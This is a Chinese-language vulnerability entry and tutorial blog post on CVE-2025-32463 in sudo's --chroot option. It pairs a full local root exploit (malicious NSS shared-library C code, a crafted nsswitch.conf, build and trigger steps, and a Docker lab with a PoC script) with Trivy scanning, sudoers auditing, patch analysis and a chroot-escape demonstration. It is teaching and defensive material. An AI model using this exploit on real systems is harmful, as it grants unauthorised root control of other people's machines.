sudo --chroot 权限提升漏洞
漏洞信息
漏洞名称: sudo –chroot 权限提升漏洞
漏洞编号:
- CVE: CVE-2025-32463
漏洞类型: 权限提升
漏洞等级: 高危
漏洞描述: sudo是一个广泛使用的Unix和Linux系统程序,允许用户以其他用户(通常是超级用户)的权限执行命令。CVE-2025-32463漏洞存在于sudo的–chroot参数中,允许本地用户通过构造特定的环境,诱使sudo加载恶意的共享对象,从而以root权限执行任意代码。该漏洞的技术根源在于sudo在处理–chroot参数时,未正确限制用户可控的路径,导致可以加载不受信任的动态链接库。这种漏洞的影响极为严重,因为它允许任何本地用户无需任何特殊权限即可提升至root权限,完全控制系统。攻击者可以通过构造恶意的nsswitch.conf文件和动态链接库,利用sudo的–chroot功能,实现权限提升。由于sudo在大多数Unix和Linux系统中默认安装且广泛使用,该漏洞的影响范围非常广泛。
产品厂商: sudo
产品名称: sudo
影响版本: 1.9.14 <= version <= 1.9.17
来源: https://github.com/y4ney/CVE-2025-32463-lab
类型: CVE-2025:github search
仓库文件
- .github
- .gitignore
- LICENSE
- README.md
- docker
- image
来源概述
title: 从 CVE-2025-32463 谈及 chroot 的容器隔离安全性
date: 2025-07-30 17:07:29
tags:
0x00 前言
2025 年 6 月,sudo
被曝史诗级本地提权漏洞 CVE-2025-32463。本文用不仅提供了容器化漏洞复现环境,可一键启动漏洞环境并运行 PoC 脚本直取 root
权限;还能手把手教您攻防细节,提高个人技术水平并学习企业级别的应用防护知识。此外,本文还附赠容器底层技术原理,了解容器是如何通过 --chroot
实现根文件系统切换的?其隔离性如何?
本文是笔者在腾讯云开发者先锋(简称 TDP)的直播内容,可关注视频号【腾云先锋】查看直播回放。读完本文,您不仅能对 CVE-2025-32463 漏洞有个全面的认知,还能对容器的沙箱隔离有个初步的了解。
0x01 背景
在开始本次分享之前,我们需要简要了解一些技术背景知识,以便在后续的漏洞解析和 chroot
安全性评估中能够更好地理解内容:
- 什么是
sudo
; - 什么是
chroot
; sudo
的--chroot
参数有何作用。
1.1 sudo 简介
sudo
的全称是“superuser do”,意思是能够以超级用户的身份执行命令。sudo
允许用户在不共享 root
密码的情况下,暂时以 root
权限执行命令并记录这些操作以方便问责。
如图 2 所示,yaney
用户可通过 sudo
命令,在执行命令时暂时将权限提升至 root
,而且我们可以查看/var/log/auth.log
文件,了解 sudo
执行的命令、时间和用户等信息,这对于日志审计和攻击溯源来说是非常有用的。
1.2 chroot 简介
chroot
主要的功能就是更改当前进程的根目录。当根目录被更改后,当前进程及其子进程只能访问比新根目录层次更低的文件和目录。例如:若主机上存在以下目录和文件:
- /some/directory/on/host/file1
- /some/directory/on/host/dir1/file2
当我们将当前进程的根目录指向 /some/directory/on/host
时,当前进程的最高文件层级就被设置为 /some/directory/on/host
,这样一来,除了以下文件和目录,我们将无法访问其它任一文件层级:
- /file1
- /dir1/file2
查看 chroot
手册时,我们可以了解到:chroot
不仅可以更改根目录,还能执行命令。若没有指定命令,则默认以可交互的方式执行系统所设置的 SHELL。
如图 4 所示,当我们创建一个没有任何内容的新目录new_root
并 chroot
到该目录中时,无论我们是否追加命令,都会运行失败。根据报错信息,我们知道,这是因为 new_root
目录并未包含/bin/bash
文件,也无法找到 ls
等命令。为了解决这个问题,我们需要将所要运行的命令文件放在 new_root
目录中。
在 SFTP/FTP 的使用场景中,我们若想用户在文件传输期间仅能访问主目录,通常使用 chroot
将 FTP 进程的根目录设置为/home/user
,以防止恶意用户访问/etc/passwd
等敏感文件。
但 chroot
不隔离内核能力、不清理环境变量、以及不屏蔽系统调用权限,导致用户仍然可以通过各种方式打破隔离,我们将本文的第三部分对 chroot
的隔离进行安全评估。
1.3 sudo 的 –chroot 参数
在大多数系统中,chroot
命令需要以 root
权限执行。若普通用户需要使用 chroot
命令,我们需要授予其 root
权限,但这严重违反了最小权限原则。当然,我们也可以通过 sudo
执行 chroot
命令(即 sudo chroot
),但这仍然给予了普通用户完整的 root
权限。例如,我们可以执行下述命令 chroot
到某个目录中。
1 |
|
但实际上 chroot
只是将当前进程的根目录更改为我们所设置的路径/path/to/dir
,然后以 root
权限执行 /bin/bash
,这样一来,我们就在新的根目录下以 root
权限执行任何命令。如果目标目录是用户控制的,风险会更大。
2020 年 9 月 29 日,sudo
在 1.9.3 版本中引入了 --chroot
参数,这样一来,我们就可以将目标目录限制在单个目录中了,详情请看 sudo
的发版记录。
sudo
的内置的 --chroot
功能默认不启用,我们必须在 sudoers
文件中明确启用。此外,无论 --chroot
是否运行成功,sudo
都会详细记录在日志中,这对于日志审计和攻击溯源特别有用,详情请看官方博客《Using chroot and cwd in sudo》。
0x02 CVE-2025-32463 漏洞解析
有了第一部分的知识回顾,现在我们就可以对 CVE-2025-32463 漏洞进行深入解析了,解析内容包括:
- 如何对漏洞的大致情况进行简单地描述;
- 如何快速启动漏洞环境并进行漏洞利用;
- 如何快速验证当前环境是否受漏洞影响;
- 如何搭建漏洞环境并一步步地进行漏洞利用;
- 如何对公司资产进行影响面排查;
- 如何对资产的环境进行排查;
- 如何从源码层面分析漏洞的成因以及修复措施。
2.1 漏洞描述
2025 年 6 月 30 日,Stratascale 网络研究部门 (CRU) 的 Rich Mirch在 sudo
中发现了两个权限提升漏洞,均可将系统权限提升到 root
权限,分别是:
--host
和 --chroot
都是 sudo
中不常用的参数,而本次分享我们只讨论其中的 CVE-2025-32463 漏洞,该漏洞无需定义任何 sudo
规则,即可将普通用户的权限提升至 root
权限,我们将在本文的【2.2 快速开始】中说明,如何一键启动漏洞环境,并使用其中的 PoC 脚本快速提权。
根据最初的安全公告数据,已明确得知 sudo
的 1.9.14 至 1.9.17 版本均受其影响,但并非所有版本都经过测试。我们将在本文的【2.3 漏洞验证】中说明,如何快速验证漏洞是否存在。
此外,我们将在本文的【2.4 环境搭建】和【2.5 漏洞利用】中实操一遍攻击流程:
- 攻击者自定义
/etc/nsswitch.conf
配置文件内容,诱导sudo
加载指定根目录下的恶意动态链接库; - 然后使用
sudo
的--chroot
参数切换到chroot
环境,自动加载恶意动态链接库,从而实现以root
权限执行任意命令。
该漏洞已在 1.9.17p1 中得到了修复,因此请安装sudo
1.9.17p1 或更高版本。我们会在【2.6 影响面排查】中详细说明,如何快速对各种企业资产进行影响面排查,以及常见的误区是什么。
若影响面排查无法生效,那么我们需要对当前环境进行排查,详情请看【2.7 环境排查】。若这些内容对于您来说太简单了,并且还想对漏洞进行深入的分析和研究,我们将在【2.8 源码分析】中进行详细说明。
2.2 快速开始
如图 7 所示,为了方便所有人都可以一键进行漏洞复现,不用担心环境的问题。我已经将漏洞环境和 PoC 打包成容器镜像,方便大家操作。
镜像共有deb
和 source
两个版本,其中 deb
版本的 sudo
是基于 deb
包安装的,source
版本的 sudo
是基于源码自行构建的。这两个版本的漏洞复现效果都相同,我们随意拉取其中一个即可。
随意拉取其中一个版本的镜像到本地运行;
1
docker run -it --rm y4ney/cve-2025-32463-lab:source bash
1
docker run -it --rm y4ney/cve-2025-32463-lab:deb bash
执行工作目录下的 PoC 脚本。该脚本可以追加任何命令,若不追加任何命令,则默认打开一个交互式的
bash
;1
2./sudo-chwoot.sh id
./sudo-chwoot.sh由于我们在启动容器的时候添加了
--rm
参数,所以使用exit
退出容器环境中过后,容器会自动销毁。若要删除镜像,执行下述命令即可。1
docker rmi y4ney/cve-2025-32463-lab:source
1
docker rmi y4ney/cve-2025-32463-lab:deb
若要自行构建镜像,详情请看我刚刚创建的项目CVE-2025-32463-lab的 README,该镜像 fork 自 pr0v3rbs/CVE-2025-32463_chwoot 项目,进行了一定地改造。
2.3 漏洞验证
我们可以通过执行下述命令,切换到一个不存在的目录中并执行一个不存在的命令,来快速验证漏洞是否存在。如图 10 所示,我们可以执行 sudo -R hacker hacker
命令来判断漏洞是否存在:
- 若当前的
sudo
的版本为受影响版本1.9.15p5-3ubuntu5
,那么命令执行报错; - 若当前的
sudo
的版本为不受影响版本1.9.15p5-3ubuntu5.24.04.1
,那么命令执行过后,会要求我们输入用户密码。
1 |
|
2.4 环境搭建
接下来,我们手把手教学:如何通过容器快速搭建漏洞环境。本次漏洞复现将在 ubuntu24.04 容器镜像中完成。执行下述命令,马上开启我们的旅程吧。
1 |
|
为了保持精简,Ubuntu、Debian 和 Alpine 等多种基础镜像都不预装 sudo
,且apt
和yum
等系统包管理工具安装的 sudo
可能会被二次修改(例如打上了安全补丁、禁用了某些选项等),这可能导致漏洞无法复现或者是行为不一致。
所以我们需要基于源码,自行构建并安装一个受影响版本的sudo
。此外,还需要创建一个用于安全测试的普通用户,例如 yaney
。具体步骤如下:
安装
sudo
依赖库、编译工具链和源码下载工具;1
2apt-get update
apt-get install -y wget ca-certificates build-essential pkg-config libpam0g-dev libselinux1-dev zlib1g-dev libssl-dev- 源码下载工具:用于从官网获取
sudo
源码并通过 HTTPS 安全下载。包括:wget
,ca-certificates
; - 编译工具链:用于从源码构建
sudo
,包括编译器、构建系统和依赖检测工具。包括:build-essential
、pkg-config
; - sudo 依赖库:提供认证、安全上下文、压缩和加密等
sudo
所需的基础功能支持。包括:libpam0g-dev
,libselinux1-dev
,zlib1g-dev
,libssl-dev
。
- 源码下载工具:用于从官网获取
清理 apt 缓存,减小镜像体积;
1
rm -rf /var/lib/apt/lists/*
切换到
/opt
目录,该目录一般用于存放第三方源码或程序,非常适合存放sudo
的源码。然后下载并解压sudo
的源代码压缩包(版本为1.9.16p2
);1
2
3cd /opt
wget https://www.sudo.ws/dist/sudo-1.9.16p2.tar.gz
tar xzf sudo-1.9.16p2.tar.gz编译并安装
sudo
;1
2
3
4
5
6
7cd sudo-1.9.16p2
# 预编译。不启用 libgcrypt 支持,构建完成后将程序安装到 /usr 目录下。
./configure --disable-gcrypt --prefix=/usr
# 编译
make
# 安装
make install新创建一个普通的安全测试用户并切换,例如
yaney
。1
2useradd -m -s /bin/bash yaney
su yaney-m
:自动创建用户的 home 目录/home/yaney
;-s /bin/bash
:指定默认 SHELL 为bash
。
2.5 漏洞利用
准备好环境过后,我们就可以快速进行漏洞利用了,这个过程非常简单,让我们来试一试吧。
步骤一:准备攻击环境
创建一个用于构造攻击环境的临时目录,这个临时目录在使用结束过后,系统会自行删除。需要注意的是:
XXXXXX
是特殊标记,告诉mktemp
将其替换成随机字符(通常是 6 个字母/数字)。所以我们进入该目录的时候,XXXXXX
需要替换成实际的字符串;1
2mktemp -d /tmp/sudochroot.stage.XXXXXX
cd /tmp/sudochroot.stage.XXXXXX写入带有构造函数
hacker
的 C 代码,实现一旦加载就提权执行(libnss 插件)。1
2
3
4
5
6
7
8
9
10
11
12cat > hacker.c <<EOF
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void hacker(void) {
setreuid(0,0);
setregid(0,0);
chdir("/");
execl("/bin/sh", "sh", "-c", "/bin/bash", NULL);
}
EOF- 攻击脚本需要包含构造函数
__attribute__((constructor))
,与主函数main()
需要手动触发不一样,构造函数在共享库被加载时就会自动执行。这样我们后续编译的.so
文件在被加载时就能直接运行恶意代码了; - 将有效 UID/GID 和真实 UID/GID 都设置为
0
,即切换到root
用户。之所以这么设置,是因为一些系统调用或者操作仍然依赖于有效 UID/GID 或真实 UID/GID 是为 0; - 切换当前工作目录到
/
,避免当前目录被删、影响 shell 工作; - 重新打开一个新的
bash
。
- 攻击脚本需要包含构造函数
步骤二:构造 chroot 文件系统结构
创建攻击目录结构;
1
mkdir -p hacker/etc libnss_
hacker/etc
用来存放后续所说的nsswitch.conf
文件 和group
文件。若--chroot
到hacker
文件夹中,那么这些文件路径将被解析为寻常模式,即:hacker/etc/nsswitch.conf
就被解析为/etc/nsswitch.conf
;hacker/etc/group
就被解析为/etc/group
;
libnss_
用来存放hacker.c
所编译好的恶意动态链接库。
创建
nsswitch.conf
文件,配置加载我们自定义的 NSS 模块,即--chroot
若要解析用户信息(passwd),需要加载名为hacker
的 NSS 模块;1
echo "passwd: /hacker" > hacker/etc/nsswitch.conf
拷贝一份 group 文件以避免 NSS 报错。
1
cp /etc/group hacker/etc
步骤三:构造并命名恶意共享库
使用gcc -shared -fPIC
编译带构造函数的共享库hacker.c
,输出为libnss_/hacker.so.2
,匹配passwd: /hacker
的模块路径拼接逻辑。
1 |
|
- -shared:编译为共享对象(即
.so
动态链接库)而不是可执行文件; - -fPIC:生成与位置无关的代码,是编译动态库时必须加的;
- -Wl,-init,hacker:告诉链接器,当动态库被加载时,自动调用
hacker()
函数; - -o libnss _/hacker.so.2:输出文件名为
libnss_/hacker.so.2
; - hacker.c:源代码文件,定义了
void hacker(void)
函数。
步骤四:触发漏洞执行提权
使用sudo -R
进入 chroot
环境,并在 chroot
环境中执行/bin/bash
,同时触发 glibc
初始化 NSS,自动加载我们刚刚构造的恶意共享库libnss_/hacker.so.2
并进行提权。
1 |
|
2.6 影响面排查
sudo
是大多数主机都会安装的软件包,如果公司资产包含了 sudo
,那么我们该如何进行影响面排查呢?研究过云原生安全的同学应该都听说过一款镜像安全工具:Trivy。Trivy 拥有非常强大的功能,我们这里使用的是它的漏洞扫描功能。
若需要扫描的是镜像,那么我们使用image
子命令即可。Trivy 拥有多种扫描器,为了快速得到结果,我们仅开启了漏洞扫描器vuln
。
1 |
|
Trivy 已经探测出 y4ney/cve-2025-32463-lab:source
的操作系统是 ubuntu:24.04,并且识别出了 226 个系统层软件包,这些系统层软件包共包含 870 个漏洞;且镜像并未被识别出应用层依赖库,因此不包含应用层的漏洞。
若对镜像y4ney/cve-2025-32463-lab:deb
进行扫描,则被识别出了 168 个系统层软件包和 857 个漏洞。
执行下述命令,我们发现:y4ney/cve-2025-32463-lab:source
并未扫描出 CVE-2025-32463 漏洞,而y4ney/cve-2025-32463-lab:deb
却可以扫描出 CVE-2025-32463 漏洞。造成这种关键差异的原因是什么呢?我们再了解一些知识,后续再详细分析其原因。
1 |
|
Trivy 主要是通过版本比对来识别软件包中的漏洞,因此这些漏洞不一定都需要进行修复。我们需要考虑的因素包含方方面面,例如:
- 漏洞的威胁等级并未达到高危、甚至超危;
- 漏洞的威胁等级并不等于它的风险等级;
- 包含漏洞的软件包可能并未被使用到,因此漏洞不具备可达性;
- 强行修复系统层软件包,可能会导致依赖它的应用崩溃;
- 并非所有的漏洞都拥有修复补丁,让我们进行升级;
- ……
若直接对 ubuntu 官方最新的镜像进行漏洞扫描,我们都会发现:尽管是不包含任何第三方内容的官方最新镜像,也不会是完全不包含漏洞的,那么基于这些基础镜像构建的镜像,我们怎么能要求它们不能包含任何漏洞呢?
目前业界没有完全公开的特别好的工程化方案和案例,让我们基于风险对这些漏洞进行重定级、降噪以及自动化修复。去年,我在 CCS 大会上对这方面的问题进行了探讨,但方案还未走出实验室,进行企业级别的落地,大家可以酌情参考参考。相关内容请查看《金融科技中的容器安全:基于 eBPF 和 WASM 的漏洞降噪技术》。
若需要扫描的是主机,我们可以使用 Trivy 的 rootfs
子命令。其实主机漏洞扫描和镜像漏洞扫描的原理和实现方式大同小异,唯一的区别就是:容器镜像的漏洞扫描首先需要对镜像文件进行解压缩的操作,而主机漏洞扫描则不需要。主机漏洞扫描和镜像漏洞扫描后续同样需要进行相同的目录遍历、关键文件读取以及软件包信息解析等系列的操作,然后再通过版本比对的方式完成漏洞扫描。
1 |
|
若我们无法使用工具进行扫描,还可以利用 Trivy 的漏洞库快速查询到漏洞的影响范围。Trivy 的漏洞库是基于 Boltdb 实现的,Boltdb 是 Etcd 等中间件所选用的数据库。如图 18 所示,我们可以从 trivy 的缓存路径中找到其漏洞库文件trivy.db
。
与常见的数据库不一样的是,Boltdb 数据库的使用体验不佳,无法使用 SQL 语句进行查询和编辑,我们需要编写 Golang 代码来进行更高级的操作。当然,也有封装得不错的工具,如图 19 所示,我们可以使用 bboltEdit 查看和编辑 Boltdb 数据库文件。
但是该工具还是无法满足我们的需求,那就是:快速定位某 CVE 漏洞的影响范围。这里,我们再推荐一个可将 BoltDB 形式的 Trivy 漏洞库转化为 MySQL、SQLite 和 Postgres 这些常见的数据库类型的工具:trivy-db-to。
trivy-db-to 默认将各供应商的安全公告数据都整合在一张名为 vulnerability_advisories
的表中,而 Trivy 就是利用这些安全公告数据进行版本比对,然后再使用 vulnerability
表的数据来补充漏洞描述、威胁等级和参考链接等详细信息。
因此,我们只需要在vulnerability_advisories
中查询 CVE 编号为 CVE-2025-32463 即可。如图 20 所示,该漏洞的影响范围不仅和操作系统类型和版本有关,所影响的软件包名称和修复版本都会有所不同,因此,我们需要进行仔细地甄别。
回到之前的问题,为什么 y4ney/cve-2025-32463-lab:source
镜像无法扫描出 CVE-2025-32463 漏洞呢?我们从两方面进行排查:
- Trivy 的漏洞库中是否指明了 ubuntu:24.04 镜像受该漏洞影响,且软件包名称和修复版本是多少?
- Trivy 是否识别出了
sudo
系统层软件包及其版本?
经过查询,第一个问题的答案是 YES,那么我们来排查第二个问题。如图 21 所示,我们发现y4ney/cve-2025-32463-lab:source
并未被识别出 sudo
软件包,因此无法扫描出 CVE-2025-32463 漏洞。
1 |
|
前面我们说了,Trivy 会对镜像文件进行解压缩操作,然后遍历目录、读取关键文件并解析出软件包信息,这些操作均由同一团队的Fanal 容器静态分析库完成,但是该项目于 2022 年 6 月 22 日已经归档,并作为 Trivy 的一部分进行维护和更新。
查看 Trivy 中的 Fanal 源码,我们发现:Trivy 主要依赖解析 apk、dpkg 和 rpm 等系统层软件包管理工具来识别系统层软件包的。而我们通过 apt 安装sudo
时,所使用的底层工具是 dpkg。所以 Trivy 是通过识别 dpkg 一系列配置文件和目录来识别出软件包信息的,包括 sudo
。
y4ney/cve-2025-32463-lab:deb
镜像正式通过 dpkg
安装的 sduo
,因此可以识别出 CVE-2025-32463 漏洞。而y4ney/cve-2025-32463-lab:source
镜像的sudo
是通过 make
自编译而来的,因此无法识别出漏洞。
这也是 Trivy 官方文档中指出的问题:Trivy 不支持第三方(或自编译)的软件包和二进制文件,但支持 Red Hat 和 Debian 等供应商提供的官方包。
这是 Trivy 工具的局限吗?我反而认为这是大多数漏洞扫描工具的局限,例如:当我们打开 Docker Hub 的 Scout 功能时,它也仅能识别出y4ney/cve-2025-32463-lab:deb
镜像中的 sudo 软件包和 CVE-2025-32463 漏洞。
因此,为了避免类似的漏报事故发生,我们只能从 DevOps 中规范开发者和运维人员的操作,来提高软件供应链的透明度,即:避免使用第三方的(或自编译的)软件包和二进制文件。
如图 27 所示,在 CentOS 7 中漏洞复现失败。我们再次回顾图 20 查询结果,发现该漏洞所影响范围并未包括 CentOS 7,因此 CentOS 7 不受该漏洞的影响。
查看RedHat 的安全公告数据,RedHat 告诉我们:由于受影响的版本范围有限,此漏洞不会影响 RHEL-9 或任何更早版本的 RHEL。因此,Openshift 也不会受到此漏洞的影响。
需要提示的是,漏洞的威胁等级还与供应商有关。如图 29 所示,Azure 和 cbi-mariner 都认为该漏洞的威胁等级为超危,但是 amazon 和 ubuntu 等供应商认为该漏洞的威胁等级为高危。那么我们该听谁的呢?
前面我们说了,这些操作系统供应商会对 sudo
进行二改和维护,因此他们还会基于操作系统的特性,对漏洞进行重定级。所以我们应该优先参考供应商所定义的威胁等级,再参考 NVD 等标准漏洞库所定义的安全等级,Trivy 也会根据这种思路自动为漏洞选择一个对应的威胁等级。
这是我能想到的在影响面排查中,常见的误区。最后,我已经 fork 了一份 trivy-db-to,并对其进行了二改。y4ney/trivy-db-to 不仅优化了日志的输出,还转化了数据源的数据,大家可以通过 data_source
表查看 trivy 的漏洞数据源。
2.7 环境排查
除了升级 sudo
版本,目前尚无其他有效的缓解措施。由于 sudo
在解析命令时存在缺陷,允许用户自定义 chroot
目录的机制容易引发错误,且该功能在实际中并不常用。从 sudo
1.9.17p1 起,--chroot
参数已被弃用,并计划在后续版本中彻底移除。
若无法通过版本比对的方式对影响面进行排查,建议对当前环境进行全面排查,确保未使用存在安全风险的 chroot
配置,以及避免继续使用该参数,因为如果实现不当,可能会无意中降低系统安全性。相关措施如下所示:
- 搜索任何使用
chroot
的情况。检查/etc/sudoers
文件以及/etc/sudoers.d
目录下的所有规则。如果sudo
规则存储在 LDAP 中,可使用如ldapsearch
等工具导出规则进行审查。 - 查找规则中是否使用了
runchroot=
选项或CHROOT=
指令。 - 还可以在系统日志中搜索
sudo
相关条目。任何使用了chroot
的命令都会以CHROOT=
字样记录在日志中。
2.8 源码分析
2013 年 6 月 28 日,sudo
在 1.9.14 版本的一项更改给未来引入了巨大的隐患:当在 sudoers
中指定了 chroot
时,改进了命令匹配的方式。现在,sudoers
插件会在进行命令匹配之前,根据需要先切换根目录。此前的做法是仅在处理路径时将 chroot
路径简单地添加为前缀。
问题出在允许非特权用户对其可控的、可写的、不受信任的路径调用chroot()
。无论用户是否配置了相应的 sudo
规则,sudo
都会多次调用chroot()
。允许低权限用户以 root
权限对可写位置执行chroot()
会带来多种安全风险。许多应用程序(例如 SSH)都明确防范这种情况。例如,如果目标位置不是由 root
拥有,SSH 将拒绝执行chroot()
。
pivot_root()
和unpivot_root()
函数定义在plugins/sudoers/pivot.c中,用于处理chroot
相关的逻辑。在这两个函数调用之间,会触发名称服务切换(NSS)操作,导致系统从不受信任的环境中加载/etc/nsswitch.conf
配置文件。该文件包含指令,用于告诉系统如何获取用户、用户组和主机的信息。可以列出多个信息源,系统会按顺序搜索,直到找到匹配项为止。
在 Linux 系统中,nsswitch.conf
文件控制了系统如何查询用户、组等信息。下述文件内容表示系统会用files
和ldap
两种方式来查找用户信息。
1 |
|
如图 11 所示,我们之所以在 创建一个和 hacker
在同一级目录的 libnss_
目录,是因为恶意库是在代码退出 chroot
后加载的,且glibc(C 标准库)内部的 NSS 加载逻辑是硬编码的,它要求:所有 NSS 模块的名字格式必须是libnss_<source>.so.<version>
。
我们在自定义 NSS 模块名时必须有/
,是因为连接的名称传递给dlopen时,dlopen 会将 /
解析为(相对或绝对)路径名。从而到我们自定义的目录中加载恶意动态链接库。
正因如此,任何本地用户都可以诱使 sudo
加载任意的共享对象,从而以 root
权限执行任意代码。下面的调用栈显示了一个被 sudo
加载的恶意共享对象(为简洁起见,内容已被大幅精简)。
由于这种行为,任何本地用户都可以诱使 sudo
加载任意的共享对象,从而实现以 root
权限执行任意代码。官方所提供的调用栈显示了 sudo
加载的恶意共享对象(为简洁起见,该栈信息已被大量精简)。
1 |
|
此补丁本质上回退到了 sudo
1.9.14 中实现的更改。pivot_root()
和unpivot_root()
函数被移除,并且在命令匹配阶段不再调用chroot()
。应用补丁后,漏洞利用将失败,因为不再调用chroot()
。
0x03 chroot 的安全隔离性评估
前面我们发现,sudo
的 --chroot
参数的实现函数名称虽然是pivot_root()
,但实际上是直接调用了chroot
来实现的。由于海报宣传我们不仅需要了解容器实现的底层原理,还需要评估 chroot
的安全隔离性。最后,让我们:
- 通过在 ubuntu 主机上运行 Alpine 来解释容器实现的底层原理;
- 学习
chroot
常见的两个风险:不清理环境变量和chroot
越狱; - 现代容器实现根目录切换的技术。
3.1 实验:在 ubuntu 主机上运行 Alpine
众所周知,容器其实只是宿主机上一个特殊的进程,当我们创建一个容器时,这个容器、也就是这个进程的根(root)目录就会被更改。所以在容器内部,我们是看不到完整的宿主机的文件系统的。接下来,我们做一个小实验,那就是:通过使用chroot
在宿主机上运行 Alpine。
容器是镜像实例化的结果,所以镜像需要封装容器所需要的文件系统,若该文件系统没有所要运行的可执行文件,那么容器将无法找到并运行它们。
根据系统架构,到官网下载一个特定版本的最小化根文件系统,并保存为
alpine.tar.gz
压缩包。这里以v3.9
版本为例进行说明。1
arch=$(uname -m); curl -o alpine.tar.gz http://dl-cdn.alpinelinux.org/alpine/v3.9/releases/$arch/alpine-minirootfs-3.9.0-$arch.tar.gz
创建一个新目录,作为
alpine
的根目录,并将压缩包解压至新的根目录中,这样我们就可以得到一个最小化的 Linux 发行版文件系统了。由于压缩包的/dev
目录包含一些设备文件等特殊文件,所以tar
在解压过程中会报错。在这里,暂时使用--exclude='./dev/*'
来忽略这些文件即可。1
2mkdir alpine
tar --exclude='./dev/*' -xvf alpine.tar.gz -C alpine由于 Alpine 发行版不包含
bash
,所以不指定任何命令,直接执行chroot
命令会报错。但如果我们在包含bash
的 Linux 发行版(例如 ubuntu)中执行同样的操作就会成功。在这里,执行chroot
命令时,指定sh
即可解决问题。
如图 37 所示,alpine
中的内容看起来就像是一个 Linux 文件系统的根目录,其中包含了 bin
、lib
、var
和 tmp
等目录。通过使用 chroot
命令过后,我们就可以在主机上运行一个简单的 Alpine 了。其实这也正是容器所做的事情,然而 chroot
背后所做的事情比想象中的要稍微复杂一些,这里我们就不展开进行说明了。
稍微总结一下,chroot
主要的功能就是更改当前进程的根目录。当根目录被更改后,当前进程及其子进程只能访问比新根目录层次更低的文件和目录。但是 chroot
命令不隔离内核能力、不清理环境变量、以及不屏蔽系统调用权限,导致用户在仍然可以通过各种方式“打破沙箱”。
3.2 风险一:环境变量
首先,我们来回答刚刚遗留的一个问题:如图 37 所示,为什么执行chroot
不追加命令会运行失败。那是因为,当我们执行chroot
命令时,只是改变了当前进程的路径解析过程,chroot
的子进程仍会继承父进程的环境变量。
例如,我可以在主机上设置环境变量 NAME
的值为 Yaney
,然后使用 chroot
切换到 Alpine 的文件系统中,接着我们就会发现:环境变量 NAME
已被继承。
正如 chroot
的手册所说的那样,若我们没有追加任何命令,那么它会使用 $SHELL
的值。如图 39 所示,$SHELL
的值在我们的 Ubuntu 主机上已经被设置为 /bin/bash
了,chroot
的子进程会继承这个环境变量,继续寻找/bin/bash
,但 Alpine 并没有这个文件,所以命令执行失败。
此外,若我们想执行 ls
等常见的可执行文件,也无需显示地指定其路径。因为在主机和 chroot
环境中,PATH
的值并未被改变。只不过在 chroot
环境中,alpine
根目录中的 bin
目录被解析成了新进程的 /bin
目录,该目录已包含了 ls
等常见的可执行文件,
需要注意的是,只有子进程才会获得新的根目录,在图 41 的例子中,指的是运行 ls
、sh
和 cat
这些进程。只有执行 exit
结束 sh
进程后,控制权才会返还给父进程。
从上面的例子中,我们发现 chroot
只会改变路径解析过程,而不会做其它任何事情,因此它不适合沙箱化一个进程,因为它也不会限制文件系统的系统调用。这也是《chroot(2) — Linux manual page》明确指出的事情。
3.3 风险二:chroot 越狱
在过去的系统中,守护进程为了提高安全性,会使用 chroot
来限制自己访问的文件系统的范围。但如果一个文件夹被移出了 chroot
环境,那么攻击者可以利用这一点来进行越狱。我们来举个最简单的例子:
打开一个终端,进入
alpine
的chroot
环境中;1
chroot alpine sh
创建一个新的目录
will_be_move
,并将其设置为当前工作目录;1
2mkdir will_be_move
chdir will_be_move然后,打开一个新的终端,将
will_be_move
目录移出chroot
环境中;1
mv alpine/will_be_move ./
这样,我们就逃逸到主机环境中了,并且可以通过
…/
来查看主机上的文件。
3.4 pivot_root
系统调用
除了我们熟悉的chroot
,还有一个类似的系统调用叫做pivot_root
。这两者的目标其实是一样的:给容器一个“自己的根目录”,就像我们把容器放在一个独立的小世界里。
在今天的分享中,我们选择用大家更熟悉的chroot
来做演示,因为它更容易理解。但请记住,无论是chroot
还是pivot_root
,核心目的都是让容器有一套独立的根文件系统,只是实现方式不同。
简单来说,pivot_root
可以把当前的根目录挪到一个叫put_old
的临时目录里,然后把新的目录new_root
设置为整个系统的新“地基”。这样一来,进程看到的根目录就完全变了。需要注意的是:new_root
和put_old
不能是同一个文件系统中的目录,这样做是为了避免混乱和安全问题。
chroot
更像是“换个窗户看世界”,而 pivot_root
是“连地基一起搬家”。所以在真正的容器环境里,比如 Docker 或 Kubernetes 后面的底层运行时,大家更倾向于使用pivot_root
来设置容器的根文件系统,因为这样更安全、更彻底。
以 runc 为例,我们在查看其源代码的时候,就发现它使用的是 pivot_root
而不是 chroot
。因为绝大多数情况下 config.Namespaces.Contains(configs.NEWNS)
的值为 true
,因为容器运行时的默认行为就是启用挂载命名空间(mount namespace)。这时候就可以放心使用pivot_root
去彻底换根,而不会影响其他进程。